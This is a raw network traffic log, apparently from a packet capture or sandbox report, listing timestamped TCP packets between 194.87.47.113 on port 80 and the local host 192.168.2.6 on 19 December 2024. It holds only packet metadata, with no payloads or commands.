Dec 19, 2024 08:09:33.809356928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.810113907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.810172081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.810220957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.810998917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.811050892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.811114073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.811872005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.811891079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.811937094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.812854052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.812870979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.812920094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.813647985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.813736916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.813767910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.814536095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.814599037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.814625025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.815445900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.815502882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.815520048 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.816359043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.816422939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.816423893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.817182064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.817245007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.817254066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.818053961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.818120956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.818159103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.818928957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.818983078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.819075108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.819880962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.819947004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.819948912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.820652962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.820732117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.820780039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.821556091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.821614027 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.821651936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.822449923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.822503090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.822590113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.823352098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.823398113 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.823437929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.824210882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.824259043 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.824326992 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.825045109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.825090885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.825093985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.825849056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.825901031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.826023102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.826730013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.826787949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.826814890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.827584028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.827630997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.827675104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.828532934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.828586102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.828615904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.829329014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.829451084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.829500914 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.830221891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.830344915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.830394983 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.831106901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.831151962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.831218958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.831991911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.832039118 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.832102060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.832850933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.832951069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.832997084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.833724976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.833873987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.833930016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.834619045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.834661961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.834700108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.835490942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.835547924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.835599899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.836483955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.836532116 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.836569071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.837338924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.837380886 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.837457895 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.837517977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.838139057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.838222027 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.838237047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.838996887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.839049101 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.839106083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.839890003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.839936018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.839941025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.850212097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.850286961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.850353003 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.850625992 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.850651026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.850667000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.851500034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.851545095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.851592064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.852385044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.852472067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.852495909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.853313923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.853368044 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.853447914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.854171038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.854238033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.854294062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.855015039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.855057001 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.855102062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.912321091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.912399054 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.912471056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.912750006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.912827015 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.912950039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.912983894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.913052082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.913889885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.913938046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.914066076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.914655924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.973834991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.973891973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.973892927 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.974248886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.974306107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.974355936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.975119114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.975174904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.975174904 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.976007938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.976056099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.976130962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.976886988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.976946115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.977008104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.977724075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.977776051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.985774040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.985899925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.985980034 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.986185074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.986308098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.986367941 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.987062931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.001085043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.001143932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.001290083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.001461029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.001549006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.001573086 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.002139091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.002214909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.002259016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.003030062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.003081083 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.003155947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.003896952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.003957987 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.004029036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.004751921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.004817009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.004878044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.005673885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.005724907 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.005815983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.006520033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.006565094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.006572962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.007426023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.007493973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.007514954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.008304119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.008353949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.008419037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.009190083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.009308100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.009354115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.010052919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.010121107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.010188103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.010910988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.010958910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.011006117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.011794090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.011835098 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.011883974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.012712002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.012764931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.012765884 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.013586044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.013638020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.013695955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.014446020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.014497995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.014564037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.015299082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.015356064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.015420914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.016200066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.016246080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.016315937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.017066002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.017180920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.017235041 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.017895937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.017946005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.018026114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.018163919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.018210888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.018912077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.019022942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.019072056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.019792080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.019948006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.020052910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.020688057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.020806074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.020894051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.021562099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.021687031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.021774054 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.022422075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.022548914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.022684097 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.023356915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.023466110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.023590088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.024184942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.024347067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.024542093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.025079012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.025187016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.025295973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.025945902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.026087999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.026252985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.026842117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.026940107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.026998997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.027700901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.027791023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.027856112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.028583050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.028707981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.028758049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.029472113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.029547930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.029593945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.030335903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.030445099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.030529976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.031255007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.031290054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.031774044 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.032102108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.032193899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.032548904 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.042309046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.042385101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.042572021 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.042769909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.042946100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.043005943 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.043329954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.043659925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.043773890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.043831110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.044529915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.044641018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.044698000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.045397997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.045589924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.045638084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.046252966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.046380043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.046495914 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.047139883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.047214031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.047261000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.104883909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.104996920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.105053902 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.105117083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.105221987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.105320930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.105981112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.106095076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.106143951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.106822014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.166039944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.166114092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.166136026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.166434050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.166495085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.166574001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.167424917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.167493105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.167526960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.168179035 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.168243885 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.168291092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.169033051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.169120073 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.169194937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.169928074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.169991016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.170026064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.170804024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.170897961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.170954943 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.193521976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.193568945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.193628073 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.193820953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.193875074 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.193984032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.194710016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.194767952 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.194803953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.195559978 CET	80	49862	194.87.47.113	192.168.2.6
